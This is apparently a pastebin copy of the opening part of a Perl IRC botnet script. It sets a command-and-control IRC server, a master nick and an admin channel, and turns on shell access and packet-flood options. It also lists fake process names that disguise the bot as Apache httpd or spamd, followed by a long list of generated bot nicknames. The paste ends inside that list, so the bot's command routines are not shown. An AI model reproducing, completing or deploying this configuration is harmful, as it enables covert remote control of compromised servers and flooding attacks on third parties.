Don't like ads? PRO users don't see any ads ;-)
Guest

lol it the biggest lammers

By: a guest on Apr 18th, 2012  |  syntax: Perl  |  size: 48.53 KB  |  hits: 45  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. #!/usr/bin/perl
  2. #
  3. # Master Poko Perlbot vS PiF
  4. #
  5. my @mast3rs = ("mb3lz666");
  6.  
  7.  
  8. my @admchan=("#mb3lz");
  9.  
  10. $servidor='irc.s4l1ty.info' unless $servidor;
  11.  
  12. my $xeqt = "!d";
  13. my $homedir = "/tmp";
  14. my $shellaccess = 1;
  15. my $xstats = 1;
  16. my $pacotes = 1;
  17. my $linas_max = 5;
  18. my $sleep = 6;
  19. my $portime = 4;
  20.  
  21. my @fakeps = ("/usr/local/apache/bin/httpd -DSSL",
  22.    "/usr/sbin/httpd -k start -DSSL",
  23.    "/usr/sbin/httpd",
  24.    "spamd child",
  25.    "httpd");
  26.  
  27. my @nickname = ("|mb3lz666-FranSiska||","|mb3lz666-TIto-Louis||","|mb3lz666-CaciNG|","|mb3lz666-SeNo-Aja|","|mb3lz666-BuDi|","|mb3lz666-MuLYaDI|","|mb3lz666-MuLYoNo|","|mb3lz666-MuLYaNtO|","|mb3lz666-SuGI-DoaNK|","|mb3lz666-AdI-TY|","|mb3lz666-^GURU^|","|mb3lz666-RaHaXiA|","|mb3lz666-Strik3|","|mb3lz666-Rivany|","|mb3lz666-Ivanya|","|mb3lz666-Indahyanti|","|mb3lz666-S3k3l3t0n|","|mb3lz666-OcTaViA|","|mb3lz666-BajinguK|","|mb3lz666-Recht_77|","|mb3lz666-CrawLeRz|","|mb3lz666-MeSseNGeRz|","|mb3lz666-ce_vinka|","|mb3lz666-ce-zhibond|","|mb3lz666-Amrik|","|mb3lz666-ce-gaulzz|","|mb3lz666-ce_assykz|","|mb3lz666-ce_ivkana|","|mb3lz666-ce-bispak-nih|","|mb3lz666-ce-apa_danya|","|mb3lz666-Alinawati|","|mb3lz666-Aldah|","|mb3lz666-Alikhus|",
  28. "|mb3lz666-Aleks|","|mb3lz666-alibana|","|mb3lz666-ce-murah-loh|","|mb3lz666-ce_phone-aja|","|mb3lz666-ce-diapain_mau|","|mb3lz666-ce_diAtasOkBwkhOK|","|mb3lz666-ce_sipanan|","|mb3lz666-ce-30-anksatu|","|mb3lz666-sherrlyy|","|mb3lz666-siampudan|","|mb3lz666-co_Kaya-raya|","|mb3lz666-co_gentel-man|",
  29. "|mb3lz666-Ando|","|mb3lz666-ce_andarist|","|mb3lz666-cwexks|","|mb3lz666-luptah|","|mb3lz666-lidawti|","|mb3lz666-Riantiwti|","|mb3lz666-Rimbunwan|","|mb3lz666-co_gkarda|","|mb3lz666-co-PDIP|","|mb3lz666-co_mantan_atlet|","|mb3lz666-co-taekwondo|","|mb3lz666-co_karateka|","|mb3lz666-co-bispak|","|mb3lz666-ce_taekwondo|",
  30. "|mb3lz666-Augustus|","|mb3lz666-Aurelius|","|mb3lz666-Axel-ros|","|mb3lz666-vridawani|","|mb3lz666-co-22-lajang|","|mb3lz666-co-23_duda|","|mb3lz666-co_cak-c0|","|mb3lz666-Azima_rohana|","|mb3lz666-Rohaniah|","|mb3lz666-Rok-Q-miniloh|","|mb3lz666-Bad_garls|","|mb3lz666-ce_mau-itu|","|mb3lz666-ce-o818xxx|",
  31. "|mb3lz666-co_vixion|","|mb3lz666-co_mio-club|","|mb3lz666-ce_bejad|","|mb3lz666-ce_pengen-vixion|","|mb3lz666-ce_matrezxks|","|mb3lz666-ce-frees|","|mb3lz666-co_matreksz|","|mb3lz666-ronaldinhos|","|mb3lz666-alan-smith|","|mb3lz666-davidenco|","|mb3lz666-co-br-gajian|","|mb3lz666-ce-PNS|","|mb3lz666-co_PNS|",
  32. "|mb3lz666-co-Polisi22|","|mb3lz666-co-TNI24|","|mb3lz666-co_pol-cr-istri|","|mb3lz666-coKukawin|","|mb3lz666-ridwanss|","|mb3lz666-co_siangktars|","|mb3lz666-ce_Bertato|","|mb3lz666-ce-ber|","|mb3lz666-co_tatoan|","|mb3lz666-ahli_cignta|","|mb3lz666-christies|","|mb3lz666-ce_perum|","|mb3lz666-ce-parlu|",
  33. "|mb3lz666-ce-simal|","|mb3lz666-ce_btxx-toba|","|mb3lz666-ce-tarutung|","|mb3lz666-ce_cari-cew|","|mb3lz666-ce-fitnes|","|mb3lz666-co_fitkgness|","|mb3lz666-pria-idaman|","|mb3lz666-wanigta31|","|mb3lz666-cwe-5-kger|","|mb3lz666-cwe2_kgul|","|mb3lz666-ce-cari_ker|","|mb3lz666-jandaAnkdua22|","|mb3lz666-jandaKaya|",
  34. "|mb3lz666-ce_muda_cr-ker|","|mb3lz666-ce_sendirianlah|","|mb3lz666-ce_kpngn-sndri|","|mb3lz666-ce-lg-kesal|","|mb3lz666-ce_^signgle|","|mb3lz666-Bonagrdo|","|mb3lz666-Darwintegna|","|mb3lz666-Johan-Kerens|","|mb3lz666-Johan_setia|","|mb3lz666-Betti-sendri|","|mb3lz666-bernards|","|mb3lz666-co-riana|",
  35. "|mb3lz666-co_cindy|","|mb3lz666-co_happies|","|mb3lz666-JohanLuvHap|","|mb3lz666-ce-bisa_ngamar|","|mb3lz666-ce-tajor|","|mb3lz666-ce_ayo|","|mb3lz666-vi^da|","|mb3lz666-rEvna^_^|","|mb3lz666-revina|","|mb3lz666-ce-sksd|","|mb3lz666-ce-deal|","|mb3lz666-ce-bs-phone_sx|","|mb3lz666-ce-vonny|","|mb3lz666-cweksi|",
  36. "|mb3lz666-c_u-there|","|mb3lz666-ce-ml|","|mb3lz666-ce-sinta|","|mb3lz666-Zinta^OK^|","|mb3lz666-Sheta_mnis|","|mb3lz666-SiNtia_^|","|mb3lz666-sRi-Relawati|","|mb3lz666-Bonar_gultom|","|mb3lz666-Beny_simbolon|","|mb3lz666-Boy_HP|","|mb3lz666-Boy-Band|","|mb3lz666-Rian_FS-Fb|","|mb3lz666-ce_sk-FB|","|mb3lz666-Ce-cr-Kwn-FS|",
  37. "|mb3lz666-ce-Cr-Kwn-FB|","|mb3lz666-Dhalia-Sinaga|","|mb3lz666-Aprina_Gerlz|","|mb3lz666-Ce_imutsz|","|mb3lz666-ce_bth-ang|","|mb3lz666-ce-buuh_itu|","|mb3lz666-ce-Mau-uang|","|mb3lz666-ce-Mau-SK|","|mb3lz666-ce_huGos|","|mb3lz666-ce_cafes|","|mb3lz666-ce_cubs|","|mb3lz666-ce_dgemsan|","|mb3lz666-ce-tgh_ml|","|mb3lz666-Boy-ugos|",
  38. "|mb3lz666-fresco_man|","|mb3lz666-FB-FS-yuk|","|mb3lz666-Bela-Caemsz|","|mb3lz666-Bel_ce|","|mb3lz666-Bek-Kang|","|mb3lz666-belA-shakpir|","|mb3lz666-belA-Lang|","|mb3lz666-Bolangs^|","|mb3lz666-PtualangGirl|","|mb3lz666-ce_gunung|","|mb3lz666-ce_Mapala|","|mb3lz666-ce_Repala|","|mb3lz666-Ce-Katliksz|","|mb3lz666-ce_Pro-tes_tan|",
  39. "|mb3lz666-ce_nya-Rkandy|","|mb3lz666-Ce-nkya_zia|","|mb3lz666-Fauziah_imuts|","|mb3lz666-Fauzi_Badawi|","|mb3lz666-Indo_neskia|","|mb3lz666-Indah_manja|","|mb3lz666-Indah_skali|","|mb3lz666-Inda_simal|","|mb3lz666-Inah_Toba|","|mb3lz666-Inda_PakPak|","|mb3lz666-Boy_sdklng|","|mb3lz666-Rando_simarata|","|mb3lz666-Roma_lina|","|mb3lz666-Roma_RoaNa|","|mb3lz666-Roma_tuJabu|",
  40. "|mb3lz666-Roma_ktson|","|mb3lz666-RohkaMaHo|","|mb3lz666-Robin_pardkede|","|mb3lz666-Ronal_pandiangkan|","|mb3lz666-Rebekkka_tarkigan|","|mb3lz666-Re2-Mutz|","|mb3lz666-Re2_maniz|","|mb3lz666-Re2caems|","|mb3lz666-Re2_sihotang|","|mb3lz666-Re2_bakkara|","|mb3lz666-Re2_do_mi|","|mb3lz666-Pardosha|","|mb3lz666-VarDscha|",
  41. "|mb3lz666-Cryliton|","|mb3lz666-Carli_simanjoang|","|mb3lz666-ce-mutzzz|","|mb3lz666-ce_mtzz^ah|","|mb3lz666-PainKa|","|mb3lz666-siJambul|","|mb3lz666-Gernimooo|","|mb3lz666-ryand_|","|mb3lz666-ery_ssan|","|mb3lz666-Andara_early|","|mb3lz666-Nindi_elis|","|mb3lz666-lee_ana|","|mb3lz666-lee_ani|","|mb3lz666-lea_na|","|mb3lz666-ce_gokl_abs|","|mb3lz666-ce-mataduit|",
  42. "|mb3lz666-ce_bispak-nih|","|mb3lz666-ce-081846732|","|mb3lz666-ce-jogja|","|mb3lz666-ce-marihat|","|mb3lz666-ce-kuliahanSTT|","|mb3lz666-ce-ajalah|","|mb3lz666-ce_jaom|","|mb3lz666-ce-jelok|","|mb3lz666-happyku|","|mb3lz666-co_perjaka_tengteng|","|mb3lz666-pengemis_cinta|","|mb3lz666-cinta_matamu|","|mb3lz666-cium_akulah|",
  43. "|mb3lz666-maria_aaa|","|mb3lz666-ce_Zhindha|","|mb3lz666-ce__Vhita|","|mb3lz666-ce_Vintha|","|mb3lz666-ahli-nujum|","|mb3lz666-fifitsss|","|mb3lz666-fafiiiii|","|mb3lz666-kakek_buyud|","|mb3lz666-clinKXZ|","|mb3lz666-Verdaves|","|mb3lz666-vAldeZz|","|mb3lz666-Darwin_boy|","|mb3lz666-boy_Darwin|","|mb3lz666-pak_aldez|",
  44. "|mb3lz666-cinta-mulia|","|mb3lz666-yan|","|mb3lz666-BikeI|","|mb3lz666-OudoW|","|mb3lz666-cinta-ku|","|mb3lz666-ahhh_tak|","|mb3lz666-ce_betul|","|mb3lz666-ce-baik-loh|","|mb3lz666-GabruZZ|","|mb3lz666-cempStr|","|mb3lz666-ceXA-Mdn|","|mb3lz666-mamaaaaaa|","|mb3lz666-starOne|","|mb3lz666-Flash-Com|","|mb3lz666-Johan_ES|","|mb3lz666-malaka|","|mb3lz666-TrinoO|",
  45. "|mb3lz666-MUNGA_BUNGA|","|mb3lz666-bunga_citra|","|mb3lz666-SnifferS|","|mb3lz666-Sniffit|","|mb3lz666-sniffot|","|mb3lz666-ahh-begulah|","|mb3lz666-Miduks|","|mb3lz666-malaikat_berjilbab|","|mb3lz666-papa_melky|","|mb3lz666-simalingKu|","|mb3lz666-AkuYA|","|mb3lz666-lah_mananya|","|mb3lz666-sayang_u|","|mb3lz666-cita-U|","|mb3lz666-co_cas-sejati|",
  46. "|mb3lz666-nindyalala|","|mb3lz666-chintialala|","|mb3lz666-krisnalala|","|mb3lz666-verawati-la|","|mb3lz666-sianktarlahhh|","|mb3lz666-flashcomlah|","|mb3lz666-johanglahh|","|mb3lz666-siapgalahh|","|mb3lz666-akulah|","|mb3lz666-kogok_mabok|","|mb3lz666-kodok_jeleks|","|mb3lz666-kodok-caem|","|mb3lz666-ce-cacem|","|mb3lz666-ce_tryy|",
  47. "|mb3lz666-bispak_ya|","|mb3lz666-co_cr_tantemu|","|mb3lz666-appara|","|mb3lz666-marialala|","|mb3lz666-co_gantenkksss|","|mb3lz666-co_kerensssss|","|mb3lz666-teh-dgina|","|mb3lz666-teh_ida|","|mb3lz666-saroenkz|","|mb3lz666-sly_moetz|","|mb3lz666-dodoetzc|",
  48. "|mb3lz666-Zoldak|","|mb3lz666-Zucconi|","|mb3lz666-Zurn|","|mb3lz666-Zwiers|","|mb3lz666-Adams|","|mb3lz666-Addison|","|mb3lz666-Adelkstgein|","|mb3lz666-Adgibe|","|mb3lz666-Adorgno|","|mb3lz666-Ahlegrs|","|mb3lz666-Algavi|","|mb3lz666-Alcogrn|","|mb3lz666-Algda|",
  49. "|mb3lz666-Aleks|","|mb3lz666-Allison|","|mb3lz666-Alongi|","|mb3lz666-Altavilla|","|mb3lz666-Altenberger|","|mb3lz666-Altenhgokfen|","|mb3lz666-Amaral|","|mb3lz666-Amatangelo|","|mb3lz666-Ameer|","|mb3lz666-Amsden|","|mb3lz666-Anand|","|mb3lz666-Andel|",
  50. "|mb3lz666-Ando|","|mb3lz666-Andrelus|","|mb3lz666-Andron|","|mb3lz666-Anfinrud|","|mb3lz666-ce_cantieq|","|mb3lz666-ce_gua|","|mb3lz666-Angtkos|","|mb3lz666-Argbia|","|mb3lz666-Ardugini|","|mb3lz666-Arellgano|","|mb3lz666-Aristotle|","|mb3lz666-Arjas|","|mb3lz666-Arky|","|mb3lz666-Atkins|",
  51. "|mb3lz666-Augustus|","|mb3lz666-Aurelius|","|mb3lz666-Bailar|","|mb3lz666-Bakanowsky|","|mb3lz666-Baleja|","|mb3lz666-Ballatori|","|mb3lz666-Ballew|","|mb3lz666-Baltz|","|mb3lz666-Banta|","|mb3lz666-Barabesi|","|mb3lz666-Barajas|","|mb3lz666-Baranczak|","|mb3lz666-Baranowska|","|mb3lz666-Barberi|","|mb3lz666-Barbetti|",
  52.         "|mb3lz666-Barneson|","|mb3lz666-Barnett|","|mb3lz666-Barriola|","|mb3lz666-Barry|","|mb3lz666-Bartholomew|","|mb3lz666-Bartolome|","|mb3lz666-Bartoo|","|mb3lz666-Basavappa|","|mb3lz666-Bashevis|","|mb3lz666-Batchelder|","|mb3lz666-Baumiller|","|mb3lz666-Bayles|","|mb3lz666-Bayo|",
  53.         "|mb3lz666-Beacon|","|mb3lz666-Beal|","|mb3lz666-Bean|","|mb3lz666-Beckman|","|mb3lz666-Beder|","|mb3lz666-Bedford|","|mb3lz666-Behenna|","|mb3lz666-Belanger|","|mb3lz666-Belaoussof|","|mb3lz666-Belfer|","|mb3lz666-Belin-Collart|","|mb3lz666-Bellavance|","|mb3lz666-Bellhouse|",
  54.         "|mb3lz666-Bellini|","|mb3lz666-Belloc|","|mb3lz666-Benedict-Dye|","|mb3lz666-Bergson|","|mb3lz666-Berke-Jenkins|","|mb3lz666-Bernardo|","|mb3lz666-Bernassola|","|mb3lz666-Bernston|","|mb3lz666-Berrizbeitia|","|mb3lz666-Betti|","|mb3lz666-Beynart|","|mb3lz666-Biagioli|",
  55.         "|mb3lz666-Bickel|","|mb3lz666-Binion|","|mb3lz666-Bir|","|mb3lz666-Bisema|","|mb3lz666-Bisho|","|mb3lz666-Blackbourn|","|mb3lz666-Blackwell|","|mb3lz666-Blagg|","|mb3lz666-Blakemore|","|mb3lz666-Blanke|","|mb3lz666-Bliss|","|mb3lz666-Blizard|","|mb3lz666-Bloch|","|mb3lz666-Bloembergen|",
  56.         "|mb3lz666-Bloemhof|","|mb3lz666-Bloxham|","|mb3lz666-Blyth|","|mb3lz666-Bolger|","|mb3lz666-Bolick|","|mb3lz666-Bollinger|","|mb3lz666-Bologna|","|mb3lz666-Boner|","|mb3lz666-Bonham|","|mb3lz666-Boniface|","|mb3lz666-Bontempo|","|mb3lz666-Book|","|mb3lz666-Bookbinder|","|mb3lz666-Boone|",
  57.         "|mb3lz666-Boorstin|","|mb3lz666-Borack|","|mb3lz666-Borden|","|mb3lz666-Bossi|","|mb3lz666-Bothman|","|mb3lz666-Botosh|","|mb3lz666-Boudin|","|mb3lz666-Boudrot|","|mb3lz666-Bourneuf|","|mb3lz666-Bowers|","|mb3lz666-Boxer|","|mb3lz666-Boyajian|","|mb3lz666-Boyes|","|mb3lz666-Boyland|",
  58.         "|mb3lz666-Boym|","|mb3lz666-Boyne|","|mb3lz666-Bracalente|","|mb3lz666-Bradac|","|mb3lz666-Bradach|","|mb3lz666-Brecht|","|mb3lz666-Breed|","|mb3lz666-Brenan|","|mb3lz666-Brennan|","|mb3lz666-Brewer|","|mb3lz666-Brewer|","|mb3lz666-Bridgeman|","|mb3lz666-Bridges|","|mb3lz666-Brinton|",
  59.         "|mb3lz666-Britz|","|mb3lz666-Broca|","|mb3lz666-Brook|","|mb3lz666-Brzycki|","|mb3lz666-Buchan|","|mb3lz666-Budding|","|mb3lz666-Bullard|","|mb3lz666-Bunton|","|mb3lz666-Burden|","|mb3lz666-Burdzy|","|mb3lz666-Burke|","|mb3lz666-Burridge|","|mb3lz666-Busetta|","|mb3lz666-Byatt|","|mb3lz666-Byerly|",
  60.         "|mb3lz666-Byrd|","|mb3lz666-Cage|","|mb3lz666-Calnan|","|mb3lz666-Cammelli|","|mb3lz666-Cammilleri|","|mb3lz666-Canley|","|mb3lz666-Capanni|","|mb3lz666-Caperton|","|mb3lz666-Capocaccia|","|mb3lz666-Capodilupo|","|mb3lz666-Cappuccio|","|mb3lz666-Capursi|","|mb3lz666-Caratozzolo|",
  61.         "|mb3lz666-Carayannopoulos|","|mb3lz666-Carlin|","|mb3lz666-Carlos|","|mb3lz666-Carlyle|","|mb3lz666-Carmichael|","|mb3lz666-Caroti|","|mb3lz666-Carper|","|mb3lz666-Cartmill|","|mb3lz666-Cascio|","|mb3lz666-Case|","|mb3lz666-Caspar|","|mb3lz666-Castelda|","|mb3lz666-Cavanagh|",
  62.         "|mb3lz666-Cavell|","|mb3lz666-Ceniceros|","|mb3lz666-Cerioli|","|mb3lz666-Chapman|","|mb3lz666-Charles|","|mb3lz666-Cheang|","|mb3lz666-Cherry|","|mb3lz666-Chervinsky|","|mb3lz666-Chiassino|","|mb3lz666-Chien|","|mb3lz666-Childress|","|mb3lz666-Childs|","|mb3lz666-Chinipardaz|",
  63.         "|mb3lz666-Chinman|","|mb3lz666-Christenson|","|mb3lz666-Christian|","|mb3lz666-Christiano|","|mb3lz666-Christie|","|mb3lz666-Christopher|","|mb3lz666-Chu|","|mb3lz666-Chupasko|","|mb3lz666-Church|","|mb3lz666-Ciampaglia|","|mb3lz666-Cicero|","|mb3lz666-Cifarelli|",
  64.         "|mb3lz666-Claffey|","|mb3lz666-Clancy|","|mb3lz666-Clark|","|mb3lz666-Clement|","|mb3lz666-Clifton|","|mb3lz666-Clow|","|mb3lz666-Coblenz|","|mb3lz666-Coito|","|mb3lz666-Coldren|","|mb3lz666-Colella|","|mb3lz666-Collard|","|mb3lz666-Collis|","|mb3lz666-Compton|","|mb3lz666-Compton|",
  65.         "|mb3lz666-Comstock|","|mb3lz666-Concino|","|mb3lz666-Condodina|","|mb3lz666-Connors|","|mb3lz666-Corey|","|mb3lz666-Cornish|","|mb3lz666-Cosmides|","|mb3lz666-Counter|","|mb3lz666-Coutaux|","|mb3lz666-Crawford|","|mb3lz666-Crocker|","|mb3lz666-Croshaw|","|mb3lz666-Croxen|",
  66.         "|mb3lz666-Croxton|","|mb3lz666-Cui|","|mb3lz666-Currier|","|mb3lz666-Cutler|","|mb3lz666-Cvek|","|mb3lz666-Cyders|","|mb3lz666-daSilva|","|mb3lz666-Daldalian|","|mb3lz666-Daly|","|mb3lz666-D'Ambra|","|mb3lz666-Danieli|","|mb3lz666-Dante|","|mb3lz666-Dapice|","|mb3lz666-D'arcangelo|","|mb3lz666-Das|",
  67.         "|mb3lz666-Dasgupta|","|mb3lz666-Daskalu|","|mb3lz666-David|","|mb3lz666-Dawkins|","|mb3lz666-DeGennaro|","|mb3lz666-DeLaPena|","|mb3lz666-del'Enclos|","|mb3lz666-deRousse|","|mb3lz666-Debroff|","|mb3lz666-Dees|","|mb3lz666-Defeciani|","|mb3lz666-Delattre|","|mb3lz666-Deleon-Rendon|",
  68.         "|mb3lz666-Delger|","|mb3lz666-Dell'acqua|","|mb3lz666-Deming|","|mb3lz666-Dempster|","|mb3lz666-Demusz|","|mb3lz666-Denault|","|mb3lz666-Denham|","|mb3lz666-Denison|","|mb3lz666-Desombre|","|mb3lz666-Deutsch|","|mb3lz666-D'fini|","|mb3lz666-Dicks|","|mb3lz666-Diefenbach|","|mb3lz666-Difabio|",
  69.         "|mb3lz666-Difronzo|","|mb3lz666-Dilworth|","|mb3lz666-Dionysius|","|mb3lz666-Dirksen|","|mb3lz666-Dockery|","|mb3lz666-Doherty|","|mb3lz666-Donahue|","|mb3lz666-Donner|","|mb3lz666-Doonan|","|mb3lz666-Dore|","|mb3lz666-Dorf|","|mb3lz666-Dosi|","|mb3lz666-Doty|","|mb3lz666-Doug|","|mb3lz666-Dowsland|",
  70.         "|mb3lz666-Drinker|","|mb3lz666-D'souza|","|mb3lz666-Duffin|","|mb3lz666-Durrett|","|mb3lz666-Dussault|","|mb3lz666-Dwyer|","|mb3lz666-Eardley|","|mb3lz666-Ebeling|","|mb3lz666-Eckel|","|mb3lz666-Edley|","|mb3lz666-Edner|","|mb3lz666-Edward|","|mb3lz666-Eickenhorst|","|mb3lz666-Eliasson|",
  71.         "|mb3lz666-Elmendorf|","|mb3lz666-Elmerick|","|mb3lz666-Elvis|","|mb3lz666-Encinas|","|mb3lz666-Enyeart|","|mb3lz666-Eppling|","|mb3lz666-Erbach|","|mb3lz666-Erdman|","|mb3lz666-Erdos|","|mb3lz666-Erez|","|mb3lz666-Espinoza|","|mb3lz666-Estes|","|mb3lz666-Etter|","|mb3lz666-Euripides|",
  72.         "|mb3lz666-Everett|","|mb3lz666-Fabbris|","|mb3lz666-Fagan|","|mb3lz666-Faioes|","|mb3lz666-Falco-Acosta|","|mb3lz666-Falorsi|","|mb3lz666-Faris|","|mb3lz666-Farone|","|mb3lz666-Farren|","|mb3lz666-Fasso'|","|mb3lz666-Fates|","|mb3lz666-Feigenbaum|","|mb3lz666-Fejzo|","|mb3lz666-Feldman|",
  73.         "|mb3lz666-Fernald|","|mb3lz666-Fernandes|","|mb3lz666-Ferrante|","|mb3lz666-Ferriell|","|mb3lz666-Feuer|","|mb3lz666-Fido|","|mb3lz666-Field|","|mb3lz666-Fink|","|mb3lz666-Finkelstein|","|mb3lz666-Finnegan|","|mb3lz666-Fiorina|","|mb3lz666-Fisk|","|mb3lz666-Fitzmaurice|","|mb3lz666-Flier|",
  74.         "|mb3lz666-Flores|","|mb3lz666-Folks|","|mb3lz666-Forester|","|mb3lz666-Fortes|","|mb3lz666-Fortier|","|mb3lz666-Fossey|","|mb3lz666-Fossi|","|mb3lz666-Francisco|","|mb3lz666-Franklin-Kenea|","|mb3lz666-Franz|","|mb3lz666-Frazier-Davis|","|mb3lz666-Freid|","|mb3lz666-Freundlich|",
  75.         "|mb3lz666-Fried|","|mb3lz666-Friedland|","|mb3lz666-Frisken|","|mb3lz666-Frowiss|","|mb3lz666-Fryberger|","|mb3lz666-Frye|","|mb3lz666-Fujii-Abe|","|mb3lz666-Fuller|","|mb3lz666-Furth|","|mb3lz666-Fusaro|","|mb3lz666-Gabrielli|","|mb3lz666-Gaggiotti|","|mb3lz666-Galeotti|","|mb3lz666-Galwey|",
  76.         "|mb3lz666-Gambini|","|mb3lz666-Garfield|","|mb3lz666-Garman|","|mb3lz666-Garonna|","|mb3lz666-Geller|","|mb3lz666-Gemberling|","|mb3lz666-Georgi|","|mb3lz666-Gerrett|","|mb3lz666-Ghorai|","|mb3lz666-Gibbens|","|mb3lz666-Gibson|","|mb3lz666-Gilbert|","|mb3lz666-Gili|","|mb3lz666-Gill|","|mb3lz666-Gillispie|",
  77.         "|mb3lz666-Gist|","|mb3lz666-Gleason|","|mb3lz666-Glegg|","|mb3lz666-Glendon|","|mb3lz666-Goldfarb|","|mb3lz666-Goncalves|","|mb3lz666-Good|","|mb3lz666-Goodearl|","|mb3lz666-Goody|","|mb3lz666-Gozzi|","|mb3lz666-Gravell|","|mb3lz666-Greenberg|","|mb3lz666-Greenfeld|","|mb3lz666-Griffiths|",
  78.         "|mb3lz666-Grigoletto|","|mb3lz666-Grummell|","|mb3lz666-Gruner|","|mb3lz666-Gruppe|","|mb3lz666-Guenthart|","|mb3lz666-Gunn|","|mb3lz666-Guo|","|mb3lz666-Ha|","|mb3lz666-Haar|","|mb3lz666-Hackman|","|mb3lz666-Hackshaw|","|mb3lz666-Haley|","|mb3lz666-Halkias|","|mb3lz666-Hallowell|","|mb3lz666-Halpert|",
  79.         "|mb3lz666-Hambarzumjan|","|mb3lz666-Hamer|","|mb3lz666-Hammerness|","|mb3lz666-Hand|","|mb3lz666-Hanssen|","|mb3lz666-Harding|","|mb3lz666-Hargraves|","|mb3lz666-Harlow|","|mb3lz666-Harrigan|","|mb3lz666-Hartman|","|mb3lz666-Hartmann|","|mb3lz666-Hartnett|","|mb3lz666-Harwell|",
  80.         "|mb3lz666-Haviaras|","|mb3lz666-Hawkes|","|mb3lz666-Hayes|","|mb3lz666-Haynes|","|mb3lz666-Hazlewood|","|mb3lz666-Heermans|","|mb3lz666-Heft|","|mb3lz666-Heiland|","|mb3lz666-Hellman|","|mb3lz666-Hellmiss|","|mb3lz666-Helprin|","|mb3lz666-Hemphill|","|mb3lz666-Henery|","|mb3lz666-Henrichs|",
  81.         "|mb3lz666-Hernandez|","|mb3lz666-Herrera|","|mb3lz666-Hester|","|mb3lz666-Heubert|","|mb3lz666-Heyeck|","|mb3lz666-Himmelfarb|","|mb3lz666-Hind|","|mb3lz666-Hirst|","|mb3lz666-Hitchcock|","|mb3lz666-Hoang|","|mb3lz666-Hock|","|mb3lz666-Hoffer|","|mb3lz666-Hoffman|","|mb3lz666-Hokanson|","|mb3lz666-Hokoda|",
  82.         "|mb3lz666-Holmes|","|mb3lz666-Holoien|","|mb3lz666-Holter|","|mb3lz666-Holway|","|mb3lz666-Holzman|","|mb3lz666-Hooker|","|mb3lz666-Hopkins|","|mb3lz666-Horsley|","|mb3lz666-Hoshida|","|mb3lz666-Hostage|","|mb3lz666-Hottle|","|mb3lz666-Howard|","|mb3lz666-Hoy|","|mb3lz666-Huey|","|mb3lz666-Huidekoper|",
  83.         "|mb3lz666-Hungerford|","|mb3lz666-Huntington|","|mb3lz666-Hupp|","|mb3lz666-Hurtubise|","|mb3lz666-Hutchings|","|mb3lz666-Hyde|","|mb3lz666-Iaquinta|","|mb3lz666-Ichikawa|","|mb3lz666-Igarashi|","|mb3lz666-Inamura|","|mb3lz666-Inniss|","|mb3lz666-Isaac|","|mb3lz666-Isaievych|","|mb3lz666-Isbill|",
  84.         "|mb3lz666-Isserman|","|mb3lz666-Iyer|","|mb3lz666-Jacenko|","|mb3lz666-Jackson|","|mb3lz666-Jagers|","|mb3lz666-Jagger|","|mb3lz666-Jagoe|","|mb3lz666-Jain|","|mb3lz666-Jamil|","|mb3lz666-Janjigian|","|mb3lz666-Jarnagin|","|mb3lz666-Jarrell|","|mb3lz666-Jay|","|mb3lz666-Jeffers|","|mb3lz666-Jellis|",
  85.         "|mb3lz666-Jenkins|","|mb3lz666-Jespersen|","|mb3lz666-Jewett|","|mb3lz666-Johannesson|","|mb3lz666-Johannsen|","|mb3lz666-Johns|","|mb3lz666-Jolly|","|mb3lz666-Jorgensen|","|mb3lz666-Jucks|","|mb3lz666-Juliano|","|mb3lz666-Julious|","|mb3lz666-Kabbash|","|mb3lz666-Kaboolian|","|mb3lz666-Kafadar|",
  86.         "|mb3lz666-Kalbfleisch|","|mb3lz666-Kaligian|","|mb3lz666-Kalil|","|mb3lz666-Kalinowski|","|mb3lz666-Kalman|","|mb3lz666-Kamel|","|mb3lz666-Kangis|","|mb3lz666-Karpouzes|","|mb3lz666-Kassower|","|mb3lz666-Kasten|","|mb3lz666-Kawachi|","|mb3lz666-Kee|","|mb3lz666-Keenan|","|mb3lz666-Keepper|",
  87.         "|mb3lz666-Keith|","|mb3lz666-Kelker|","|mb3lz666-Kelsey|","|mb3lz666-Kempton|","|mb3lz666-Kemsley|","|mb3lz666-Kendall|","|mb3lz666-Kerry|","|mb3lz666-Keul|","|mb3lz666-Khong|","|mb3lz666-Kimmel|","|mb3lz666-Kimmett|","|mb3lz666-Kimura|","|mb3lz666-Kindall|","|mb3lz666-Kinsley|","|mb3lz666-Kippenberger|",
  88.         "|mb3lz666-Kirscht|","|mb3lz666-Kittridge|","|mb3lz666-Kleckner|","|mb3lz666-Kleiman|","|mb3lz666-Kleinfelder|","|mb3lz666-Klemperer|","|mb3lz666-Kling|","|mb3lz666-Klinkenborg|","|mb3lz666-Klint|","|mb3lz666-Knuff|","|mb3lz666-Kobrick|","|mb3lz666-Koch|","|mb3lz666-Kohn|","|mb3lz666-Koivumaki|",
  89.         "|mb3lz666-Kommer|","|mb3lz666-Koniaris|","|mb3lz666-Konrad|","|mb3lz666-Kool|","|mb3lz666-Korzybski|","|mb3lz666-Kotter|","|mb3lz666-Kovaks|","|mb3lz666-Kraemer|","|mb3lz666-Krailo|","|mb3lz666-Krasney|","|mb3lz666-Kraus|","|mb3lz666-Kroemer|","|mb3lz666-Krysiak|","|mb3lz666-Kuenzli|","|mb3lz666-Kumar|",
  90.         "|mb3lz666-Kusman|","|mb3lz666-Kuwabara|","|mb3lz666-La|","|mb3lz666-Labunka|","|mb3lz666-Lafler|","|mb3lz666-Laing|","|mb3lz666-Lallemant|","|mb3lz666-Landes|","|mb3lz666-Lankes|","|mb3lz666-Lantieri|","|mb3lz666-Lanzit|","|mb3lz666-Laserna|","|mb3lz666-Lashley|","|mb3lz666-Lawless|","|mb3lz666-Lecar|",
  91.         "|mb3lz666-Lecce|","|mb3lz666-Leclercq|","|mb3lz666-Leite|","|mb3lz666-Lenard|","|mb3lz666-Sofia|","|mb3lz666-Lesser|","|mb3lz666-Lessi|","|mb3lz666-Liakos|","|mb3lz666-Lidano|","|mb3lz666-Liem|","|mb3lz666-Light|","|mb3lz666-Lightfoot|","|mb3lz666-Lim|","|mb3lz666-Linares|","|mb3lz666-Linda|","|mb3lz666-Linder|",
